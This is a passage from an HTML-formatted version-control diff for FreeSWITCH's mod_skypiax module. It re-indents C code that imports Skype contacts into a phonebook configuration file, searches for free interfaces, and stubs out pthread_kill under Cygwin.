+                        skype_msg[c] = ' ';
+                        c++;
+                }
+                if (c == 1023)
+                        break;
+        }
+        skypiax_signaling_write(p, skype_msg);
+        return RESULT_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> int skypiax_console_skypiax_dir_import(int fd, int argc, char *argv[])
</span><span class="cx"> {
</span><del>- //int res;
- struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
- //char list_command[64];
- char fn[256];
- char date[256] = "";
- time_t t;
- char *configfile = SKYPIAX_DIR_CONFIG;
- int add_to_skypiax_dir_conf = 1;
- //int fromskype = 0;
- //int fromcell = 0;
</del><ins>+        //int res;
+        struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
+        //char list_command[64];
+        char fn[256];
+        char date[256] = "";
+        time_t t;
+        char *configfile = SKYPIAX_DIR_CONFIG;
+        int add_to_skypiax_dir_conf = 1;
+        //int fromskype = 0;
+        //int fromcell = 0;
</ins><span class="cx">
</span><span class="cx"> #if 0
</span><del>- if (directoriax_entry_extension) {
- skypiax_dir_entry_extension = directoriax_entry_extension;
- } else {
- ast_cli(fd,
- "No 'directoriax_entry_extension', you MUST have loaded directoriax.so\n");
- return RESULT_SUCCESS;
- }
</del><ins>+        if (directoriax_entry_extension) {
+                skypiax_dir_entry_extension = directoriax_entry_extension;
+        } else {
+                ast_cli(fd, "No 'directoriax_entry_extension', you MUST have loaded directoriax.so\n");
+                return RESULT_SUCCESS;
+        }
</ins><span class="cx"> #endif
</span><span class="cx">
</span><del>- if (argc != 2)
- return RESULT_SHOWUSAGE;
- if (!p) {
- ast_cli(fd, "No \"current\" console ???, please enter 'help skypiax_console'\n");
- return RESULT_SUCCESS;
- }
</del><ins>+        if (argc != 2)
+                return RESULT_SHOWUSAGE;
+        if (!p) {
+                ast_cli(fd, "No \"current\" console ???, please enter 'help skypiax_console'\n");
+                return RESULT_SUCCESS;
+        }
</ins><span class="cx">
</span><del>- if (!strcasecmp(argv[1], "add"))
- add_to_skypiax_dir_conf = 1;
- else if (!strcasecmp(argv[1], "replace"))
- add_to_skypiax_dir_conf = 0;
- else {
- ast_cli(fd, "\n\nYou have neither specified 'add' nor 'replace'\n\n");
- return RESULT_SHOWUSAGE;
- }
</del><ins>+        if (!strcasecmp(argv[1], "add"))
+                add_to_skypiax_dir_conf = 1;
+        else if (!strcasecmp(argv[1], "replace"))
+                add_to_skypiax_dir_conf = 0;
+        else {
+                ast_cli(fd, "\n\nYou have neither specified 'add' nor 'replace'\n\n");
+                return RESULT_SHOWUSAGE;
+        }
</ins><span class="cx">
</span><span class="cx"> #if 0
</span><del>- if (!strcasecmp(argv[2], "fromskype"))
- fromskype = 1;
- else if (!strcasecmp(argv[2], "fromcell"))
- fromcell = 1;
- else {
- ast_cli(fd, "\n\nYou have neither specified 'fromskype' nor 'fromcell'\n\n");
- return RESULT_SHOWUSAGE;
- }
</del><ins>+        if (!strcasecmp(argv[2], "fromskype"))
+                fromskype = 1;
+        else if (!strcasecmp(argv[2], "fromcell"))
+                fromcell = 1;
+        else {
+                ast_cli(fd, "\n\nYou have neither specified 'fromskype' nor 'fromcell'\n\n");
+                return RESULT_SHOWUSAGE;
+        }
</ins><span class="cx">
</span><del>- if (fromcell) {
- ast_cli(fd,
- "Importing from cellphone is currently supported only on \"AT\" cellphones :( !\n");
- //fclose(p->phonebook_writing_fp);
- //skypiax_dir_create_extensions();
- return RESULT_SUCCESS;
- }
</del><ins>+        if (fromcell) {
+                ast_cli(fd, "Importing from cellphone is currently supported only on \"AT\" cellphones :( !\n");
+                //fclose(p->phonebook_writing_fp);
+                //skypiax_dir_create_extensions();
+                return RESULT_SUCCESS;
+        }
</ins><span class="cx">
</span><del>- if (fromskype)
- if (!p->skype) {
- ast_cli(fd, "Importing from skype is supported by skypiax_dir on chan_skypiax!\n");
- //fclose(p->phonebook_writing_fp);
- //skypiax_dir_create_extensions();
- return RESULT_SUCCESS;
- }
</del><ins>+        if (fromskype)
+                if (!p->skype) {
+                        ast_cli(fd, "Importing from skype is supported by skypiax_dir on chan_skypiax!\n");
+                        //fclose(p->phonebook_writing_fp);
+                        //skypiax_dir_create_extensions();
+                        return RESULT_SUCCESS;
+                }
</ins><span class="cx">
</span><del>- if (fromcell || fromskype)
- if (argc != 3) {
- ast_cli(fd,
- "\n\nYou don't have to specify a filename with 'fromcell' or with 'fromskype'\n\n");
- return RESULT_SHOWUSAGE;
- }
</del><ins>+        if (fromcell || fromskype)
+                if (argc != 3) {
+                        ast_cli(fd, "\n\nYou don't have to specify a filename with 'fromcell' or with 'fromskype'\n\n");
+                        return RESULT_SHOWUSAGE;
+                }
</ins><span class="cx"> #endif
</span><span class="cx">
</span><span class="cx"> /*******************************************************************************************/
</span><span class="cx">
</span><del>- if (configfile[0] == '/') {
- ast_copy_string(fn, configfile, sizeof(fn));
- } else {
- snprintf(fn, sizeof(fn), "%s/%s", ast_config_AST_CONFIG_DIR, configfile);
- }
- NOTICA("Opening '%s'\n", SKYPIAX_P_LOG, fn);
- time(&t);
- ast_copy_string(date, ctime(&t), sizeof(date));
</del><ins>+        if (configfile[0] == '/') {
+                ast_copy_string(fn, configfile, sizeof(fn));
+        } else {
+                snprintf(fn, sizeof(fn), "%s/%s", ast_config_AST_CONFIG_DIR, configfile);
+        }
+        NOTICA("Opening '%s'\n", SKYPIAX_P_LOG, fn);
+        time(&t);
+        ast_copy_string(date, ctime(&t), sizeof(date));
</ins><span class="cx">
</span><del>- if (add_to_skypiax_dir_conf)
- p->phonebook_writing_fp = fopen(fn, "a+");
- else
- p->phonebook_writing_fp = fopen(fn, "w+");
</del><ins>+        if (add_to_skypiax_dir_conf)
+                p->phonebook_writing_fp = fopen(fn, "a+");
+        else
+                p->phonebook_writing_fp = fopen(fn, "w+");
</ins><span class="cx">
</span><del>- if (p->phonebook_writing_fp) {
- if (add_to_skypiax_dir_conf) {
- NOTICA("Opened '%s' for appending \n", SKYPIAX_P_LOG, fn);
- fprintf(p->phonebook_writing_fp, ";!\n");
- fprintf(p->phonebook_writing_fp, ";! Update Date: %s", date);
- fprintf(p->phonebook_writing_fp, ";! Updated by: %s, %d\n", __FILE__, __LINE__);
- fprintf(p->phonebook_writing_fp, ";!\n");
- } else {
- NOTICA("Opened '%s' for writing \n", SKYPIAX_P_LOG, fn);
- fprintf(p->phonebook_writing_fp, ";!\n");
- fprintf(p->phonebook_writing_fp, ";! Automatically generated configuration file\n");
- fprintf(p->phonebook_writing_fp, ";! Filename: %s (%s)\n", configfile, fn);
- fprintf(p->phonebook_writing_fp, ";! Creation Date: %s", date);
- fprintf(p->phonebook_writing_fp, ";! Generated by: %s, %d\n", __FILE__, __LINE__);
- fprintf(p->phonebook_writing_fp, ";!\n");
- fprintf(p->phonebook_writing_fp, "[general]\n\n");
- fprintf(p->phonebook_writing_fp, "[default]\n");
- }
</del><ins>+        if (p->phonebook_writing_fp) {
+                if (add_to_skypiax_dir_conf) {
+                        NOTICA("Opened '%s' for appending \n", SKYPIAX_P_LOG, fn);
+                        fprintf(p->phonebook_writing_fp, ";!\n");
+                        fprintf(p->phonebook_writing_fp, ";! Update Date: %s", date);
+                        fprintf(p->phonebook_writing_fp, ";! Updated by: %s, %d\n", __FILE__, __LINE__);
+                        fprintf(p->phonebook_writing_fp, ";!\n");
+                } else {
+                        NOTICA("Opened '%s' for writing \n", SKYPIAX_P_LOG, fn);
+                        fprintf(p->phonebook_writing_fp, ";!\n");
+                        fprintf(p->phonebook_writing_fp, ";! Automatically generated configuration file\n");
+                        fprintf(p->phonebook_writing_fp, ";! Filename: %s (%s)\n", configfile, fn);
+                        fprintf(p->phonebook_writing_fp, ";! Creation Date: %s", date);
+                        fprintf(p->phonebook_writing_fp, ";! Generated by: %s, %d\n", __FILE__, __LINE__);
+                        fprintf(p->phonebook_writing_fp, ";!\n");
+                        fprintf(p->phonebook_writing_fp, "[general]\n\n");
+                        fprintf(p->phonebook_writing_fp, "[default]\n");
+                }
</ins><span class="cx">
</span><span class="cx"> /*******************************************************************************************/
</span><del>- //if (fromskype) {
- if (p->skype) {
- WARNINGA
- ("About to querying the Skype client 'Contacts', it may take some moments... Don't worry.\n",
- SKYPIAX_P_LOG);
- if (p->skype_thread != AST_PTHREADT_NULL) {
- char msg_to_skype[1024];
</del><ins>+                //if (fromskype) {
+                if (p->skype) {
+                        WARNINGA("About to querying the Skype client 'Contacts', it may take some moments... Don't worry.\n", SKYPIAX_P_LOG);
+                        if (p->skype_thread != AST_PTHREADT_NULL) {
+                                char msg_to_skype[1024];
</ins><span class="cx">
</span><del>- p->skype_friends[0] = '\0';
- sprintf(msg_to_skype, "#333 SEARCH FRIENDS");
- if (skypiax_signaling_write(p, msg_to_skype) < 0) {
- return -1;
- }
</del><ins>+                                p->skype_friends[0] = '\0';
+                                sprintf(msg_to_skype, "#333 SEARCH FRIENDS");
+                                if (skypiax_signaling_write(p, msg_to_skype) < 0) {
+                                        return -1;
+                                }
</ins><span class="cx">
</span><del>- int friends_count = 0;
- while (p->skype_friends[0] == '\0') {
- /* FIXME needs a timeout, can't wait forever!
- * eg. when skype is running but not connected! */
- usleep(100);
- friends_count++;
- if (friends_count > 20000) {
- return -1; /* FIXME */
- }
- }
</del><ins>+                                int friends_count = 0;
+                                while (p->skype_friends[0] == '\0') {
+                                        /* FIXME needs a timeout, can't wait forever!
+                                         * eg. when skype is running but not connected! */
+                                        usleep(100);
+                                        friends_count++;
+                                        if (friends_count > 20000) {
+                                                return -1;        /* FIXME */
+                                        }
+                                }
</ins><span class="cx">
</span><del>- }
</del><ins>+                        }
</ins><span class="cx">
</span><del>- if (p->skype_thread != AST_PTHREADT_NULL) {
- char msg_to_skype[1024];
</del><ins>+                        if (p->skype_thread != AST_PTHREADT_NULL) {
+                                char msg_to_skype[1024];
</ins><span class="cx">
</span><del>- if (p->skype_friends[0] != '\0') {
- char *buf, *where;
- char **stringp;
- int skype_dir_file_written = 0;
</del><ins>+                                if (p->skype_friends[0] != '\0') {
+                                        char *buf, *where;
+                                        char **stringp;
+                                        int skype_dir_file_written = 0;
</ins><span class="cx">
</span><del>- buf = p->skype_friends;
- stringp = &buf;
- where = strsep(stringp, ", ");
- while (where) {
- if (where[0] != '\0') {
- /*
- * So, we have the Skype username (the HANDLE, I think is called).
- * But we want to call the names we see in the Skype contact list
- * So, let's check the DISPLAYNAME (the end user modified contact name)
- * Then, we check the FULLNAME (that appears as it was the DISPLAYNAME
- * if the end user has not modify it)
- * If we still have neither DISPLAYNAME nor FULLNAME, we'll use the
- * Skipe username (the HANDLE)
- */
</del><ins>+                                        buf = p->skype_friends;
+                                        stringp = &buf;
+                                        where = strsep(stringp, ", ");
+                                        while (where) {
+                                                if (where[0] != '\0') {
+                                                        /*
+                                                         * So, we have the Skype username (the HANDLE, I think is called).
+                                                         * But we want to call the names we see in the Skype contact list
+                                                         * So, let's check the DISPLAYNAME (the end user modified contact name)
+                                                         * Then, we check the FULLNAME (that appears as it was the DISPLAYNAME
+                                                         * if the end user has not modify it)
+                                                         * If we still have neither DISPLAYNAME nor FULLNAME, we'll use the
+                                                         * Skipe username (the HANDLE)
+                                                         */
</ins><span class="cx">
</span><del>- p->skype_displayname[0] = '\0';
- sprintf(msg_to_skype, "#765 GET USER %s DISPLAYNAME", where);
- skypiax_signaling_write(p, msg_to_skype);
- int displayname_count = 0;
- while (p->skype_displayname[0] == '\0') {
- /* FIXME needs a timeout, can't wait forever!
- * eg. when skype is running but not connected! */
- usleep(100);
- displayname_count++;
- if (displayname_count > 20000)
- return -1; /* FIXME */
- }
- if (p->skype_displayname[0] != '\0') {
- char *where2;
- char sanitized[300];
</del><ins>+                                                        p->skype_displayname[0] = '\0';
+                                                        sprintf(msg_to_skype, "#765 GET USER %s DISPLAYNAME", where);
+                                                        skypiax_signaling_write(p, msg_to_skype);
+                                                        int displayname_count = 0;
+                                                        while (p->skype_displayname[0] == '\0') {
+                                                                /* FIXME needs a timeout, can't wait forever!
+                                                                 * eg. when skype is running but not connected! */
+                                                                usleep(100);
+                                                                displayname_count++;
+                                                                if (displayname_count > 20000)
+                                                                        return -1;        /* FIXME */
+                                                        }
+                                                        if (p->skype_displayname[0] != '\0') {
+                                                                char *where2;
+                                                                char sanitized[300];
</ins><span class="cx">
</span><del>- sanitized[0] = '\0';
</del><ins>+                                                                sanitized[0] = '\0';
</ins><span class="cx">
</span><del>- where2 = strstr(p->skype_displayname, "DISPLAYNAME ");
- if (where2) {
</del><ins>+                                                                where2 = strstr(p->skype_displayname, "DISPLAYNAME ");
+                                                                if (where2) {
</ins><span class="cx">
</span><del>- /* there can be some *smart* that makes a displayname
- * that is different than first<space>last, */
- /* maybe initials, simbols, slashes,
- * something smartish... let's check */
</del><ins>+                                                                        /* there can be some *smart* that makes a displayname
+                                                                         * that is different than first<space>last, */
+                                                                        /* maybe initials, simbols, slashes,
+                                                                         * something smartish... let's check */
</ins><span class="cx">
</span><del>- if (where2[12] != '\0') {
- int i = 12;
- int x = 0;
- int spaces = 0;
- int last_char_was_space = 0;
</del><ins>+                                                                        if (where2[12] != '\0') {
+                                                                                int i = 12;
+                                                                                int x = 0;
+                                                                                int spaces = 0;
+                                                                                int last_char_was_space = 0;
</ins><span class="cx">
</span><del>- for (i = 12; i < strlen(where2) && x < 299; i++) {
- if (!isalnum(where2[i])) {
- if (!isblank(where2[i])) {
- /* bad char */
- continue;
- }
- /* is a space */
- if (last_char_was_space == 1) /* do not write 2 consecutive spaces */
- continue;
- last_char_was_space = 1;
- sanitized[x] = ' ';
- x++;
- continue;
- }
- /* is alphanum */
- last_char_was_space = 0;
- sanitized[x] = where2[i];
- x++;
- continue;
- }
</del><ins>+                                                                                for (i = 12; i < strlen(where2) && x < 299; i++) {
+                                                                                        if (!isalnum(where2[i])) {
+                                                                                                if (!isblank(where2[i])) {
+                                                                                                        /* bad char */
+                                                                                                        continue;
+                                                                                                }
+                                                                                                /* is a space */
+                                                                                                if (last_char_was_space == 1)        /* do not write 2 consecutive spaces */
+                                                                                                        continue;
+                                                                                                last_char_was_space = 1;
+                                                                                                sanitized[x] = ' ';
+                                                                                                x++;
+                                                                                                continue;
+                                                                                        }
+                                                                                        /* is alphanum */
+                                                                                        last_char_was_space = 0;
+                                                                                        sanitized[x] = where2[i];
+                                                                                        x++;
+                                                                                        continue;
+                                                                                }
</ins><span class="cx">
</span><del>- sanitized[x] = '\0';
- if (spaces == 0) {
- }
- DEBUGA_SKYPE("sanitized=|%s|, where=|%s|, where2=|%s|\n",
- SKYPIAX_P_LOG, sanitized, where, &where2[12]);
- }
</del><ins>+                                                                                sanitized[x] = '\0';
+                                                                                if (spaces == 0) {
+                                                                                }
+                                                                                DEBUGA_SKYPE("sanitized=|%s|, where=|%s|, where2=|%s|\n", SKYPIAX_P_LOG, sanitized, where, &where2[12]);
+                                                                        }
</ins><span class="cx">
</span><del>- if (where2[12] != '\0') {
- skypiax_dir_entry_extension++;
- if (where[0] == '+' || isdigit(where[0])) { /* is a skypeout number */
- fprintf(p->phonebook_writing_fp,
- "%s => ,%sSKO,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n",
- where, sanitized, "no",
- p->skypiax_dir_entry_extension_prefix, "2",
- skypiax_dir_entry_extension, "yes", "not_specified");
- } else { /* is a skype name */
- fprintf(p->phonebook_writing_fp,
- "%s => ,%sSKY,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n",
- where, sanitized, "no",
- p->skypiax_dir_entry_extension_prefix, "1",
- skypiax_dir_entry_extension, "yes", "not_specified");
- }
- skype_dir_file_written = 1;
</del><ins>+                                                                        if (where2[12] != '\0') {
+                                                                                skypiax_dir_entry_extension++;
+                                                                                if (where[0] == '+' || isdigit(where[0])) {        /* is a skypeout number */
+                                                                                        fprintf(p->phonebook_writing_fp,
+                                                                                                        "%s => ,%sSKO,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n",
+                                                                                                        where, sanitized, "no",
+                                                                                                        p->skypiax_dir_entry_extension_prefix, "2", skypiax_dir_entry_extension, "yes", "not_specified");
+                                                                                } else {        /* is a skype name */
+                                                                                        fprintf(p->phonebook_writing_fp,
+                                                                                                        "%s => ,%sSKY,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n",
+                                                                                                        where, sanitized, "no",
+                                                                                                        p->skypiax_dir_entry_extension_prefix, "1", skypiax_dir_entry_extension, "yes", "not_specified");
+                                                                                }
+                                                                                skype_dir_file_written = 1;
</ins><span class="cx">
</span><del>- }
- }
- }
- p->skype_displayname[0] = '\0';
</del><ins>+                                                                        }
+                                                                }
+                                                        }
+                                                        p->skype_displayname[0] = '\0';
</ins><span class="cx">
</span><del>- p->skype_fullname[0] = '\0';
- sprintf(msg_to_skype, "#222 GET USER %s FULLNAME", where);
- skypiax_signaling_write(p, msg_to_skype);
- int fullname_count = 0;
- while (p->skype_fullname[0] == '\0') {
- /* FIXME needs a timeout, can't wait forever!
- * eg. when skype is running but not connected! */
- usleep(100);
- fullname_count++;
- if (fullname_count > 20000)
- return -1; /* FIXME */
- }
- if (p->skype_fullname[0] != '\0') {
- char *where2;
- char sanitized[300];
</del><ins>+                                                        p->skype_fullname[0] = '\0';
+                                                        sprintf(msg_to_skype, "#222 GET USER %s FULLNAME", where);
+                                                        skypiax_signaling_write(p, msg_to_skype);
+                                                        int fullname_count = 0;
+                                                        while (p->skype_fullname[0] == '\0') {
+                                                                /* FIXME needs a timeout, can't wait forever!
+                                                                 * eg. when skype is running but not connected! */
+                                                                usleep(100);
+                                                                fullname_count++;
+                                                                if (fullname_count > 20000)
+                                                                        return -1;        /* FIXME */
+                                                        }
+                                                        if (p->skype_fullname[0] != '\0') {
+                                                                char *where2;
+                                                                char sanitized[300];
</ins><span class="cx">
</span><del>- where2 = strstr(p->skype_fullname, "FULLNAME ");
- if (where2) {
</del><ins>+                                                                where2 = strstr(p->skype_fullname, "FULLNAME ");
+                                                                if (where2) {
</ins><span class="cx">
</span><del>- /* there can be some *smart* that makes a fullname
- * that is different than first<space>last, */
- /* maybe initials, simbols, slashes,
- * something smartish... let's check */
</del><ins>+                                                                        /* there can be some *smart* that makes a fullname
+                                                                         * that is different than first<space>last, */
+                                                                        /* maybe initials, simbols, slashes,
+                                                                         * something smartish... let's check */
</ins><span class="cx">
</span><del>- if (where2[9] != '\0') {
- int i = 9;
- int x = 0;
- int spaces = 0;
- int last_char_was_space = 0;
</del><ins>+                                                                        if (where2[9] != '\0') {
+                                                                                int i = 9;
+                                                                                int x = 0;
+                                                                                int spaces = 0;
+                                                                                int last_char_was_space = 0;
</ins><span class="cx">
</span><del>- for (i = 9; i < strlen(where2) && x < 299; i++) {
- if (!isalnum(where2[i])) {
- if (!isblank(where2[i])) {
- /* bad char */
- continue;
- }
- /* is a space */
- if (last_char_was_space == 1) /* do not write 2 consecutive spaces */
- continue;
- last_char_was_space = 1;
- sanitized[x] = ' ';
- x++;
- continue;
- }
- /* alphanum */
- last_char_was_space = 0;
- sanitized[x] = where2[i];
- x++;
- continue;
- }
</del><ins>+                                                                                for (i = 9; i < strlen(where2) && x < 299; i++) {
+                                                                                        if (!isalnum(where2[i])) {
+                                                                                                if (!isblank(where2[i])) {
+                                                                                                        /* bad char */
+                                                                                                        continue;
+                                                                                                }
+                                                                                                /* is a space */
+                                                                                                if (last_char_was_space == 1)        /* do not write 2 consecutive spaces */
+                                                                                                        continue;
+                                                                                                last_char_was_space = 1;
+                                                                                                sanitized[x] = ' ';
+                                                                                                x++;
+                                                                                                continue;
+                                                                                        }
+                                                                                        /* alphanum */
+                                                                                        last_char_was_space = 0;
+                                                                                        sanitized[x] = where2[i];
+                                                                                        x++;
+                                                                                        continue;
+                                                                                }
</ins><span class="cx">
</span><del>- sanitized[x] = '\0';
- if (spaces == 0) {
- }
- DEBUGA_SKYPE("sanitized=|%s|, where=|%s|, where2=|%s|\n",
- SKYPIAX_P_LOG, sanitized, where, &where2[9]);
- }
</del><ins>+                                                                                sanitized[x] = '\0';
+                                                                                if (spaces == 0) {
+                                                                                }
+                                                                                DEBUGA_SKYPE("sanitized=|%s|, where=|%s|, where2=|%s|\n", SKYPIAX_P_LOG, sanitized, where, &where2[9]);
+                                                                        }
</ins><span class="cx">
</span><del>- if (skype_dir_file_written == 0) {
- skypiax_dir_entry_extension++;
- if (where2[9] != '\0') {
- if (where[0] == '+' || isdigit(where[0])) { /* is a skypeout number */
- fprintf(p->phonebook_writing_fp,
- "%s => ,%sSKO,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n",
- where, sanitized, "no",
- p->skypiax_dir_entry_extension_prefix, "2",
- skypiax_dir_entry_extension, "yes", "not_specified");
- } else { /* is a skype name */
- fprintf(p->phonebook_writing_fp,
- "%s => ,%sSKY,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n",
- where, sanitized, "no",
- p->skypiax_dir_entry_extension_prefix, "1",
- skypiax_dir_entry_extension, "yes", "not_specified");
</del><ins>+                                                                        if (skype_dir_file_written == 0) {
+                                                                                skypiax_dir_entry_extension++;
+                                                                                if (where2[9] != '\0') {
+                                                                                        if (where[0] == '+' || isdigit(where[0])) {        /* is a skypeout number */
+                                                                                                fprintf(p->phonebook_writing_fp,
+                                                                                                                "%s => ,%sSKO,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n",
+                                                                                                                where, sanitized, "no",
+                                                                                                                p->skypiax_dir_entry_extension_prefix, "2", skypiax_dir_entry_extension, "yes", "not_specified");
+                                                                                        } else {        /* is a skype name */
+                                                                                                fprintf(p->phonebook_writing_fp,
+                                                                                                                "%s => ,%sSKY,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n",
+                                                                                                                where, sanitized, "no",
+                                                                                                                p->skypiax_dir_entry_extension_prefix, "1", skypiax_dir_entry_extension, "yes", "not_specified");
</ins><span class="cx">
</span><del>- }
</del><ins>+                                                                                        }
</ins><span class="cx">
</span><del>- } else {
- if (where[0] == '+' || isdigit(where[0])) { /* is a skypeout number */
- fprintf(p->phonebook_writing_fp,
- "%s => ,%sSKO,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n",
- where, where, "no", p->skypiax_dir_entry_extension_prefix,
- "2", skypiax_dir_entry_extension, "yes", "not_specified");
- } else { /* is a skype name */
- fprintf(p->phonebook_writing_fp,
- "%s => ,%sSKY,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n",
- where, where, "no", p->skypiax_dir_entry_extension_prefix,
- "1", skypiax_dir_entry_extension, "yes", "not_specified");
</del><ins>+                                                                                } else {
+                                                                                        if (where[0] == '+' || isdigit(where[0])) {        /* is a skypeout number */
+                                                                                                fprintf(p->phonebook_writing_fp,
+                                                                                                                "%s => ,%sSKO,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n",
+                                                                                                                where, where, "no", p->skypiax_dir_entry_extension_prefix,
+                                                                                                                "2", skypiax_dir_entry_extension, "yes", "not_specified");
+                                                                                        } else {        /* is a skype name */
+                                                                                                fprintf(p->phonebook_writing_fp,
+                                                                                                                "%s => ,%sSKY,,,hidefromdir=%s|phonebook_direct_calling_ext=%d%s%.4d|phonebook_entry_fromskype=%s|phonebook_entry_owner=%s\n",
+                                                                                                                where, where, "no", p->skypiax_dir_entry_extension_prefix,
+                                                                                                                "1", skypiax_dir_entry_extension, "yes", "not_specified");
</ins><span class="cx">
</span><del>- }
- }
- }
</del><ins>+                                                                                        }
+                                                                                }
+                                                                        }
</ins><span class="cx">
</span><del>- skype_dir_file_written = 0;
</del><ins>+                                                                        skype_dir_file_written = 0;
</ins><span class="cx">
</span><del>- }
</del><ins>+                                                                }
</ins><span class="cx">
</span><del>- }
- p->skype_fullname[0] = '\0';
</del><ins>+                                                        }
+                                                        p->skype_fullname[0] = '\0';
</ins><span class="cx">
</span><del>- }
- where = strsep(stringp, ", ");
- }
</del><ins>+                                                }
+                                                where = strsep(stringp, ", ");
+                                        }
</ins><span class="cx">
</span><del>- p->skype_friends[0] = '\0';
- }
- }
- } else {
</del><ins>+                                        p->skype_friends[0] = '\0';
+                                }
+                        }
+                } else {
</ins><span class="cx">
</span><del>- ast_cli(fd,
- "Skype not configured on the 'current' console, not importing from Skype client!\n");
- }
- //}
</del><ins>+                        ast_cli(fd, "Skype not configured on the 'current' console, not importing from Skype client!\n");
+                }
+                //}
</ins><span class="cx"> /*******************************************************************************************/
</span><span class="cx"> /*******************************************************************************************/
</span><del>- } else {
- ast_cli(fd, "\n\nfailed to open the skypiax_dir.conf configuration file: %s\n", fn);
- ERRORA("failed to open the skypiax_dir.conf configuration file: %s\n", SKYPIAX_P_LOG,
- fn);
- return RESULT_FAILURE;
- }
</del><ins>+        } else {
+                ast_cli(fd, "\n\nfailed to open the skypiax_dir.conf configuration file: %s\n", fn);
+                ERRORA("failed to open the skypiax_dir.conf configuration file: %s\n", SKYPIAX_P_LOG, fn);
+                return RESULT_FAILURE;
+        }
</ins><span class="cx">
</span><del>- fclose(p->phonebook_writing_fp);
- //skypiax_dir_create_extensions();
</del><ins>+        fclose(p->phonebook_writing_fp);
+        //skypiax_dir_create_extensions();
</ins><span class="cx">
</span><del>- return RESULT_SUCCESS;
</del><ins>+        return RESULT_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> private_t *find_available_skypiax_interface(void)
</span><span class="cx"> {
</span><del>- private_t *p;
- int found = 0;
</del><ins>+        private_t *p;
+        int found = 0;
</ins><span class="cx">
</span><del>- /* lock the interfaces' list */
- LOKKA(&skypiax_iflock);
- /* make a pointer to the first interface in the interfaces list */
- p = skypiax_iflist;
- /* Search for the requested interface and verify if is unowned */
- while (p) {
- if (!p->owner) {
- DEBUGA_PBX("Interface is NOT OWNED by a channel\n", SKYPIAX_P_LOG);
- found = 1;
- /* we found the requested interface, bail out from the while loop */
- break;
- } else {
- /* interface owned by a channel */
- DEBUGA_PBX("Interface is OWNED by a channel\n", SKYPIAX_P_LOG);
- }
- /* not yet found, next please */
- p = p->next;
- }
</del><ins>+        /* lock the interfaces' list */
+        LOKKA(&skypiax_iflock);
+        /* make a pointer to the first interface in the interfaces list */
+        p = skypiax_iflist;
+        /* Search for the requested interface and verify if is unowned */
+        while (p) {
+                if (!p->owner) {
+                        DEBUGA_PBX("Interface is NOT OWNED by a channel\n", SKYPIAX_P_LOG);
+                        found = 1;
+                        /* we found the requested interface, bail out from the while loop */
+                        break;
+                } else {
+                        /* interface owned by a channel */
+                        DEBUGA_PBX("Interface is OWNED by a channel\n", SKYPIAX_P_LOG);
+                }
+                /* not yet found, next please */
+                p = p->next;
+        }
</ins><span class="cx">
</span><del>- /* lock the interfaces' list */
- UNLOCKA(&skypiax_iflock);
</del><ins>+        /* lock the interfaces' list */
+        UNLOCKA(&skypiax_iflock);
</ins><span class="cx">
</span><del>- if (found)
- return p;
- else
- return NULL;
</del><ins>+        if (found)
+                return p;
+        else
+                return NULL;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /************************************************/
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_skypiaxasteriskcyg_no_pthread_killc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/cyg_no_pthread_kill.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/cyg_no_pthread_kill.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/cyg_no_pthread_kill.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -7,11 +7,11 @@
</span><span class="cx"> int cyg_no_pthreadkill(int thread, int sig)
</span><span class="cx"> {
</span><span class="cx"> #ifdef PRINTMSGCYG
</span><del>- if (option_debug) {
- printf
- ("\n\nHere there would have been a pthread_kill() on thread [%-7lx], with sig=%d, but it has been substituted by this printf in file cyg_no_pthread_kill.c because CYGWIN does not support sending a signal to a one only thread :-(\n\n",
- (unsigned long int) thread, sig);
- }
</del><ins>+        if (option_debug) {
+                printf
+                        ("\n\nHere there would have been a pthread_kill() on thread [%-7lx], with sig=%d, but it has been substituted by this printf in file cyg_no_pthread_kill.c because CYGWIN does not support sending a signal to a one only thread :-(\n\n",
+                         (unsigned long int) thread, sig);
+        }
</ins><span class="cx"> #endif // PRINTMSGCYG
</span><del>- return 0;
</del><ins>+        return 0;
</ins><span class="cx"> }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_skypiaxasteriskskypiaxh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/skypiax.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/skypiax.h        2010-02-06 00:51:41 UTC (rev 16578)
